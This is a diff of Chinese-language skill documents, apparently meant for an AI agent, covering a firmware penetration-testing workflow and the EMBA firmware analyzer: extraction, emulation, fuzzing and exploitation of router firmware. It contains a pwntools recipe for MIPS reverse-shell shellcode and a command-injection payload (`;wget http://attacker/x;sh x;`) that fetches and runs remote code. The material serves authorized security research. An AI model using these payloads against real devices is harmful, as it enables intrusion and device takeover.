```
|
|
150
|
+
|
|
151
|
+
### Stage 6 — 模拟运行(Emulating Firmware)
|
|
152
|
+
|
|
153
|
+
详见 `references/emulation-and-fuzz.md`。
|
|
154
|
+
|
|
155
|
+
```bash
|
|
156
|
+
# 用户态:跑单个 binary
|
|
157
|
+
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
|
|
158
|
+
|
|
159
|
+
# 全系统:FAT(Firmadyne 封装版)
|
|
160
|
+
sudo fat.py firmware.bin
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### Stage 7 — 动态分析(Dynamic Analysis)
|
|
164
|
+
|
|
165
|
+
仿真起来后挂调试器、抓流量、跑 fuzz。
|
|
166
|
+
|
|
167
|
+
```bash
|
|
168
|
+
# gdb 远程调试 MIPS
|
|
169
|
+
qemu-mipsel-static -g 1234 ./vuln_binary
|
|
170
|
+
gdb-multiarch ./vuln_binary -ex "target remote :1234"
|
|
171
|
+
|
|
172
|
+
# Burp + 路由 Web UI
|
|
173
|
+
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
### Stage 8 — 运行时分析(Runtime Analysis)
|
|
177
|
+
|
|
178
|
+
在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。
|
|
179
|
+
|
|
180
|
+
```bash
|
|
181
|
+
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
|
|
182
|
+
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
### Stage 9 — 二进制利用(Exploitation)
|
|
186
|
+
|
|
187
|
+
写 PoC,生成 payload,落地 root shell。
|
|
188
|
+
|
|
189
|
+
```bash
|
|
190
|
+
# pwntools 生成 MIPS reverse shell
|
|
191
|
+
python3 -c "
|
|
192
|
+
from pwn import *
|
|
193
|
+
context.arch = 'mips'
|
|
194
|
+
context.endian = 'little'
|
|
195
|
+
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
|
|
196
|
+
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
|
|
197
|
+
|
|
198
|
+
# ROP gadget
|
|
199
|
+
ropper --file squashfs-root/usr/sbin/httpd --search "system"
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
## 典型场景示例
|
|
203
|
+
|
|
204
|
+
### 场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)
|
|
205
|
+
|
|
206
|
+
```text
|
|
207
|
+
固件: router_v1.2.3.bin(未加密 squashfs)
|
|
208
|
+
目标: 找 Web 管理界面未授权 RCE 并复现
|
|
209
|
+
|
|
210
|
+
Step 1 信息收集
|
|
211
|
+
- FCC ID 反查 → MT7621 + MT7615 + 16MB flash
|
|
212
|
+
- 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)
|
|
213
|
+
|
|
214
|
+
Step 2 获取固件
|
|
215
|
+
- 官网下载 .bin,sha256 与已知样本对比
|
|
216
|
+
|
|
217
|
+
Step 3 分析
|
|
218
|
+
- binwalk → 检出 uImage + squashfs-xz
|
|
219
|
+
- 熵图 → squashfs 段熵 ~0.95(正常压缩)
|
|
220
|
+
|
|
221
|
+
Step 4 提取
|
|
222
|
+
- binwalk -eM router_v1.2.3.bin
|
|
223
|
+
- 得到 squashfs-root/ 完整根文件系统
|
|
224
|
+
|
|
225
|
+
Step 5 EMBA 扫
|
|
226
|
+
- 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
|
|
227
|
+
- 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串
|
|
228
|
+
|
|
229
|
+
Step 6 仿真
|
|
230
|
+
- sudo fat.py router_v1.2.3.bin
|
|
231
|
+
- 仿真起来 IP 192.168.0.1,Web 可访问
|
|
232
|
+
|
|
233
|
+
Step 7-8 动态
|
|
234
|
+
- Burp 抓 /cgi-bin/luci 系列接口
|
|
235
|
+
- 发现 hostname 参数直拼 system
|
|
236
|
+
|
|
237
|
+
Step 9 利用
|
|
238
|
+
- 构造 hostname=`;wget http://attacker/x;sh x;`
|
|
239
|
+
- 仿真态成功反弹 shell
|
|
240
|
+
- 真机复测通过 → 提报 SRC
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
### 场景 2:加密固件(找 bootloader 解密例程)
|
|
244
|
+
|
|
245
|
+
```text
|
|
246
|
+
固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
|
|
247
|
+
|
|
248
|
+
Step 1 判断是否真加密
|
|
249
|
+
- 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
|
|
250
|
+
- 头部前 256 字节 hexdump → 看是否有 vendor header
|
|
251
|
+
|
|
252
|
+
Step 2 拿到 bootloader
|
|
253
|
+
- UART 启动时按键进 U-Boot
|
|
254
|
+
- md.b 0x80000000 0x1000 # 读内存
|
|
255
|
+
- 或 SPI flash 物理读取整片 → 含 U-Boot 段
|
|
256
|
+
|
|
257
|
+
Step 3 逆 U-Boot 找解密例程
|
|
258
|
+
- 用 reverse-engineering skill(IDA / Ghidra)
|
|
259
|
+
- 入口 board_init_r → 找 do_bootm 前的 image_decrypt
|
|
260
|
+
- 通常是 AES-128-CBC,key 硬编在 .rodata
|
|
261
|
+
|
|
262
|
+
Step 4 离线解密
|
|
263
|
+
openssl enc -d -aes-128-cbc \
|
|
264
|
+
-K $(cat key.hex) \
|
|
265
|
+
-iv $(cat iv.hex) \
|
|
266
|
+
-in encrypted_fw.bin \
|
|
267
|
+
-out decrypted.bin
|
|
268
|
+
|
|
269
|
+
Step 5 回到 Stage 4 重新走标准流程
|
|
270
|
+
- binwalk decrypted.bin → 看到 squashfs
|
|
271
|
+
- 后续与场景 1 相同
|
|
272
|
+
|
|
273
|
+
兜底
|
|
274
|
+
- bootloader 也加密 → 找 SoC 一级 ROM 文档
|
|
275
|
+
- SoC 有安全启动 → 看公开 fault injection / glitch 资料
|
|
276
|
+
```
|
|
277
|
+
|
|
278
|
+
## 注意事项
|
|
279
|
+
|
|
280
|
+
- **大小端**:MIPS 路由器常见 mipsel(小端,MT 系列)/ mipseb(大端,Broadcom 系列),qemu binary 别用错
|
|
281
|
+
- **NVRAM**:仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值,Firmadyne 有 libnvram hook,FAT 默认带
|
|
282
|
+
- **EMBA 不是银弹**:跑出来一堆 CVE 别全信,要核对版本字符串和实际利用条件
|
|
283
|
+
- **AFL++ qemu mode 慢**:先用 afl-clang-lto 重编译目标(如果有源码),快 5-10 倍
|
|
284
|
+
- **真机操作前先 dump**:物理设备砖前必备整片 flash dump,用 flashrom / ch341a / minipro
|
|
285
|
+
- **法律边界**:自家设备、SRC 授权、CTF、公开靶机才能搞,企业生产设备需要书面授权
|
|
286
|
+
- **field-journal 回写**:每完成一个固件,记录芯片型号、SDK、binwalk 是否成功、仿真是否成功,下次同系列直接复用
|
|
287
|
+
|
|
288
|
+
---
|
|
289
|
+
|
|
290
|
+
## 按需自举(On-Demand Bootstrap)
|
|
291
|
+
|
|
292
|
+
### 工具清单
|
|
293
|
+
|
|
294
|
+
| 工具 | 用途 | 自动安装 |
|
|
295
|
+
|------|------|---------|
|
|
296
|
+
| binwalk v3 | 主提取(Rust 重写版) | ✓ |
|
|
297
|
+
| binwalk v2 | 兼容老插件 | ✓ |
|
|
298
|
+
| unblob | 兜底提取 | ✓ |
|
|
299
|
+
| jefferson | JFFS2 提取 | ✓ |
|
|
300
|
+
| ubi_reader | UBI / UBIFS 提取 | ✓ |
|
|
301
|
+
| EMBA | 自动化分析框架 | ✓ |
|
|
302
|
+
| Firmadyne | 全系统仿真 | ✓ |
|
|
303
|
+
| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |
|
|
304
|
+
| qemu-user-static | 用户态仿真 | ✓ |
|
|
305
|
+
| qemu-system-* | 全系统仿真 | ✓ |
|
|
306
|
+
| AFL++ | 模糊测试 | ✓ |
|
|
307
|
+
| pwntools | 漏洞利用脚本 | ✓ |
|
|
308
|
+
| flashrom | SPI flash 读写 | ✓ |
|
|
309
|
+
| picocom | UART 串口 | ✓ |
|
|
310
|
+
|
|
311
|
+
### 安装命令
|
|
312
|
+
|
|
313
|
+
```bash
|
|
314
|
+
# Debian / Ubuntu 一把梭
|
|
315
|
+
sudo apt update && sudo apt install -y \
|
|
316
|
+
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
|
|
317
|
+
gdb-multiarch picocom flashrom build-essential libssl-dev
|
|
318
|
+
|
|
319
|
+
# binwalk v3(Rust 版)
|
|
320
|
+
cargo install binwalk
|
|
321
|
+
|
|
322
|
+
# Python 系列工具
|
|
323
|
+
pip3 install --user unblob jefferson ubi_reader pwntools
|
|
324
|
+
|
|
325
|
+
# EMBA
|
|
326
|
+
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
|
|
327
|
+
cd ~/tools/emba && sudo ./installer.sh -d
|
|
328
|
+
|
|
329
|
+
# Firmadyne
|
|
330
|
+
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
|
|
331
|
+
cd ~/tools/firmadyne && sudo ./download.sh
|
|
332
|
+
|
|
333
|
+
# FAT
|
|
334
|
+
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
|
|
335
|
+
|
|
336
|
+
# AFL++
|
|
337
|
+
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
|
|
338
|
+
cd ~/tools/aflpp && make distrib && sudo make install
|
|
339
|
+
```
|
|
340
|
+
|
|
341
|
+
### Windows 用户
|
|
342
|
+
|
|
343
|
+
固件渗透链强依赖 Linux 工具,建议:
|
|
344
|
+
- WSL2 Ubuntu 22.04(足够大多数场景)
|
|
345
|
+
- 或独立 Kali / Ubuntu 虚拟机
|
|
346
|
+
- EMBA 必须 Linux,Firmadyne / FAT 必须 Linux
|
|
347
|
+
|
|
348
|
+
---
|
|
349
|
+
|
|
350
|
+
## 路由上下文
|
|
351
|
+
|
|
352
|
+
**上游入口**: `skills/SKILL.md`(总控)、`routing.md`
|
|
353
|
+
**触发条件**: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计
|
|
354
|
+
**下游出口**:
|
|
355
|
+
- 单个二进制深度静态分析 → `reverse-engineering/`、`ida-reverse/`、`radare2/`
|
|
356
|
+
- 仿真起来后做 Web RCE / 后渗透 → `pentest-tools/`、`attack-chain/`
|
|
357
|
+
- 跨版本固件符号迁移 → `binary-diff/`
|
|
358
|
+
- 硬件接口实操参考 → `patterns-hardware.md`
|
|
359
|
+
- APK / boot.img 处理 → `apk-reverse/`
|
|
360
|
+
|
|
361
|
+
**同级关联**: `pentest-tools/`(Web 利用阶段配合)、`attack-chain/`(跨阶段攻击链规划)
|
|
362
|
+
|
|
363
|
+
**参考文档**:
|
|
364
|
+
- `references/extraction-methodology.md` — 提取细节与失败兜底
|
|
365
|
+
- `references/emba-automated-analysis.md` — EMBA 全流程
|
|
366
|
+
- `references/emulation-and-fuzz.md` — 仿真 + fuzz 实战
|
|
367
|
+
|
|
368
|
+
|
|
369
|
+
## 任务完成自检(声称完成前 MUST 通过)
|
|
370
|
+
|
|
371
|
+
- [ ] 我是否执行了工作流中的每一步(而不是只阅读)?
|
|
372
|
+
- [ ] 我是否基于 `tool-index` 使用了真实工具路径?
|
|
373
|
+
- [ ] 我是否产出了可复现证据(命令/脚本/截图/报告)?
|
|
374
|
+
- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项?
|
|
375
|
+
|
|
376
|
+
## Limitations
|
|
377
|
+
|
|
378
|
+
- Emulation of proprietary kernels often fails; hardware debugging may be required.
|
|
379
|
+
- Some extraction paths need physical access (UART/JTAG/SPI).
|
|
380
|
+
|
|
381
|
+
> Adapted from [zhaoxuya520/reverse-skill](https://github.com/zhaoxuya520/reverse-skill) (MIT).
|
|
@@ -0,0 +1,192 @@
|
|
|
1
|
+
# EMBA 自动化分析
|
|
2
|
+
|
|
3
|
+
参考:https://github.com/e-m-b-a/emba
|
|
4
|
+
|
|
5
|
+
EMBA = Embedded Analyzer。开源固件自动化审计框架,一行命令跑完静态扫描 + 仿真 + CVE 比对 + 报告生成。
|
|
6
|
+
|
|
7
|
+
## 它能做什么
|
|
8
|
+
|
|
9
|
+
| 阶段 | 模块前缀 | 干的事 |
|
|
10
|
+
|------|---------|--------|
|
|
11
|
+
| 预检 | P-modules | 识别格式、提取、归类 |
|
|
12
|
+
| 静态分析 | S-modules | 二进制 checksec、字符串、敏感配置、硬编码凭据 |
|
|
13
|
+
| QEMU 仿真 | Q-modules | 用户态仿真 + 服务探测 |
|
|
14
|
+
| Live 动态 | L-modules | 跑起来后实时检查(网络服务、暴露接口) |
|
|
15
|
+
| 收尾 | F-modules | 聚合结果 |
|
|
16
|
+
| 报告 | R-modules | HTML / SBOM / JSON / CSV |
|
|
17
|
+
|
|
18
|
+
## 安装
|
|
19
|
+
|
|
20
|
+
```bash
|
|
21
|
+
# 系统要求:Ubuntu 22.04 / Debian 12 / Kali(必须 Linux)
|
|
22
|
+
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
|
|
23
|
+
cd ~/tools/emba
|
|
24
|
+
|
|
25
|
+
# 一键安装(会装 Docker、qemu、各类 scanner、CVE 数据库)
|
|
26
|
+
sudo ./installer.sh -d
|
|
27
|
+
|
|
28
|
+
# 验证
|
|
29
|
+
sudo ./emba --help
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
## 一行命令跑全套
|
|
33
|
+
|
|
34
|
+
```bash
|
|
35
|
+
sudo ./emba \
|
|
36
|
+
-l ./logs/router_v1.2.3 \
|
|
37
|
+
-f ./firmware/router_v1.2.3.bin \
|
|
38
|
+
-p ./scan-profiles/default-scan.emba
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
参数:
|
|
42
|
+
|
|
43
|
+
| 参数 | 含义 |
|
|
44
|
+
|------|------|
|
|
45
|
+
| `-l` | log 输出目录 |
|
|
46
|
+
| `-f` | 固件文件路径 |
|
|
47
|
+
| `-p` | 扫描 profile |
|
|
48
|
+
| `-t` | threaded 模式(多核加速) |
|
|
49
|
+
| `-Q` | 启用 QEMU 仿真分析 |
|
|
50
|
+
| `-W` | 生成 web 报告 |
|
|
51
|
+
| `-g` | 生成 grep-able log |
|
|
52
|
+
| `-D` | 在 Docker 内运行(推荐,环境隔离) |
|
|
53
|
+
|
|
54
|
+
### 推荐组合
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
# 深度 + Docker + Web 报告
|
|
58
|
+
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
|
|
59
|
+
-p ./scan-profiles/default-scan.emba -t -Q -W
|
|
60
|
+
|
|
61
|
+
# 快速预扫(看看值不值得深挖)
|
|
62
|
+
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
|
|
63
|
+
-p ./scan-profiles/quick-scan.emba
|
|
64
|
+
|
|
65
|
+
# 离线模式(无网络环境)
|
|
66
|
+
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
|
|
67
|
+
-p ./scan-profiles/default-scan-no-notify.emba
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
### scan-profiles 选哪个
|
|
71
|
+
|
|
72
|
+
| profile | 用途 |
|
|
73
|
+
|---------|------|
|
|
74
|
+
| `default-scan.emba` | 标准全套 |
|
|
75
|
+
| `quick-scan.emba` | 快速预扫,跳过 QEMU |
|
|
76
|
+
| `default-scan-no-notify.emba` | 无网络环境,离线 CVE 库 |
|
|
77
|
+
| `default-scan-emulation.emba` | 加强仿真分析 |
|
|
78
|
+
| `default-with-tools.emba` | 启用更多外部 scanner |
|
|
79
|
+
|
|
80
|
+
## 集成的子工具
|
|
81
|
+
|
|
82
|
+
EMBA 内置 / 调度的扫描器:
|
|
83
|
+
|
|
84
|
+
| 工具 | 干什么 |
|
|
85
|
+
|------|--------|
|
|
86
|
+
| cve-bin-tool | 已知 CVE 比对(基于 NVD 数据库) |
|
|
87
|
+
| Semgrep | 源码 / 脚本静态规则扫描 |
|
|
88
|
+
| bandit | Python 源码安全扫描 |
|
|
89
|
+
| checksec | ELF 安全特性(NX / RELRO / PIE / Canary) |
|
|
90
|
+
| Trivy | SBOM 生成 + 漏洞匹配 |
|
|
91
|
+
| linter (shellcheck / yara) | 配置和脚本静态检查 |
|
|
92
|
+
| pixd | 二进制可视化(熵图) |
|
|
93
|
+
| binwalk + unblob | 提取后端 |
|
|
94
|
+
| EMBA 自家规则 | 硬编码密码、私钥、危险函数调用 |
|
|
95
|
+
|
|
96
|
+
## 输出报告解读
|
|
97
|
+
|
|
98
|
+
跑完后看 `./logs/router_v1.2.3/`:
|
|
99
|
+
|
|
100
|
+
```text
|
|
101
|
+
logs/router_v1.2.3/
|
|
102
|
+
├── html-report/
|
|
103
|
+
│ └── index.html ← 主入口,浏览器打开
|
|
104
|
+
├── csv_logs/ ← grep / awk 用
|
|
105
|
+
├── json_logs/ ← 程序化处理用
|
|
106
|
+
├── s05_firmware_details.txt ← 固件基本信息
|
|
107
|
+
├── s09_firmware_base_version_check.txt ← 版本检测
|
|
108
|
+
├── s12_binary_protection.txt ← checksec 汇总
|
|
109
|
+
├── s20_shell_check.txt ← shell 脚本问题
|
|
110
|
+
├── s24_kernel_bin_identifier.txt
|
|
111
|
+
├── s40_weak_perm_check.txt ← 权限问题
|
|
112
|
+
├── s108_stacs_password_search.txt ← 密码 / 密钥泄漏
|
|
113
|
+
├── s109_jtr_local_pw_cracking.txt ← shadow 破解结果
|
|
114
|
+
├── s115_usermode_emulator.txt ← 用户态仿真结果
|
|
115
|
+
├── q02_openssl_bin_version_check.txt
|
|
116
|
+
├── l10_system_emulator.txt ← 全系统仿真状态
|
|
117
|
+
├── l15_emulated_checks_init.txt
|
|
118
|
+
└── f50_base_aggregator.txt ← 总聚合
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
### HTML 报告重点字段
|
|
122
|
+
|
|
123
|
+
打开 `html-report/index.html`,关注:
|
|
124
|
+
|
|
125
|
+
1. **Summary 块** — 风险评级(CRITICAL / HIGH / MEDIUM)+ CVE 数量
|
|
126
|
+
2. **Firmware details (S05)** — 内核版本、busybox 版本、SDK 厂商
|
|
127
|
+
3. **Version detection (S09)** — 所有识别出的二进制 + 版本,对比 CVE
|
|
128
|
+
4. **Binary protection (S12)** — 哪些二进制没开 NX / RELRO(fuzz / 利用容易)
|
|
129
|
+
5. **Password / Secrets (S108)** — 硬编码凭据直接看
|
|
130
|
+
6. **System emulation (L10)** — 仿真是否成功 + 跑起来的服务
|
|
131
|
+
7. **Aggregator (F50)** — 一页总结,先看这个
|
|
132
|
+
|
|
133
|
+
### CVE 比对优先级
|
|
134
|
+
|
|
135
|
+
报告里一堆 CVE 别全信,按这个顺序复核:
|
|
136
|
+
|
|
137
|
+
```text
|
|
138
|
+
1. CVE 评分 ≥ 7.5 + 影响网络服务(lighttpd / dropbear / 内置 httpd)
|
|
139
|
+
2. CVE 有公开 PoC(Exploit-DB / GitHub)
|
|
140
|
+
3. 二进制确实存在该版本(version string 命中)
|
|
141
|
+
4. 暴露在监听端口上(结合 L10 仿真结果看 netstat)
|
|
142
|
+
5. 不需要认证或认证容易绕(结合源码 / 反汇编看)
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
## 何时用 EMBA,何时手工
|
|
146
|
+
|
|
147
|
+
| 场景 | 用 EMBA | 手工分析 |
|
|
148
|
+
|------|---------|---------|
|
|
149
|
+
| 第一次接触某固件 | ✓ | |
|
|
150
|
+
| 大批量固件审计(>5 个) | ✓ | |
|
|
151
|
+
| 寻找已公开 CVE | ✓ | |
|
|
152
|
+
| 找 0day | 辅助 | ✓ 主力 |
|
|
153
|
+
| 加密 / 私有格式 | ✗(提不出来) | ✓ |
|
|
154
|
+
| 单个二进制深度逆向 | ✗ | ✓(用 IDA / Ghidra) |
|
|
155
|
+
| 协议 / 业务逻辑漏洞 | ✗ | ✓ |
|
|
156
|
+
|
|
157
|
+
EMBA 的强项是把 80% 的体力活包了,让你专注剩下 20% 真正需要脑子的部分。
|
|
158
|
+
|
|
159
|
+
## 二次开发 / 自定义规则
|
|
160
|
+
|
|
161
|
+
EMBA 模块化设计,可以塞自家规则:
|
|
162
|
+
|
|
163
|
+
```bash
|
|
164
|
+
# 自定义 yara 规则
|
|
165
|
+
cp my_rule.yar ~/tools/emba/external/yara/
|
|
166
|
+
|
|
167
|
+
# 自定义 Semgrep 规则
|
|
168
|
+
cp my_rule.yaml ~/tools/emba/config/semgrep_rules/
|
|
169
|
+
|
|
170
|
+
# 调整 CVE 严重性阈值
|
|
171
|
+
vim ~/tools/emba/config/emba_emulator_db.cfg
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
模块加载顺序在 `~/tools/emba/modules/` 下,文件名前缀决定执行阶段。
|
|
175
|
+
|
|
176
|
+
## 常见坑
|
|
177
|
+
|
|
178
|
+
```text
|
|
179
|
+
1. installer.sh 卡住 → 网络问题,开代理或换镜像源
|
|
180
|
+
2. CVE 数据库过期 → ./emba_db_update.sh 强制刷新
|
|
181
|
+
3. QEMU 仿真失败 → 改用 default-scan-emulation.emba profile
|
|
182
|
+
4. Docker 模式磁盘爆 → 清理 /var/lib/docker/overlay2
|
|
183
|
+
5. 报告里 CVE 全是 N/A → cve-bin-tool 数据库没下载完,重跑 installer
|
|
184
|
+
6. 内存不足 → 32GB+ 推荐,大固件 64GB
|
|
185
|
+
7. 在 WSL2 里跑 → 关 systemd-resolved,启用 cgroup v2
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
## 配套阅读
|
|
189
|
+
|
|
190
|
+
- EMBA paper / 用户手册:https://github.com/e-m-b-a/emba/blob/master/README.md
|
|
191
|
+
- 在线 demo 报告:https://e-m-b-a.github.io/emba/
|
|
192
|
+
- 自定义模块开发:https://github.com/e-m-b-a/emba/wiki
|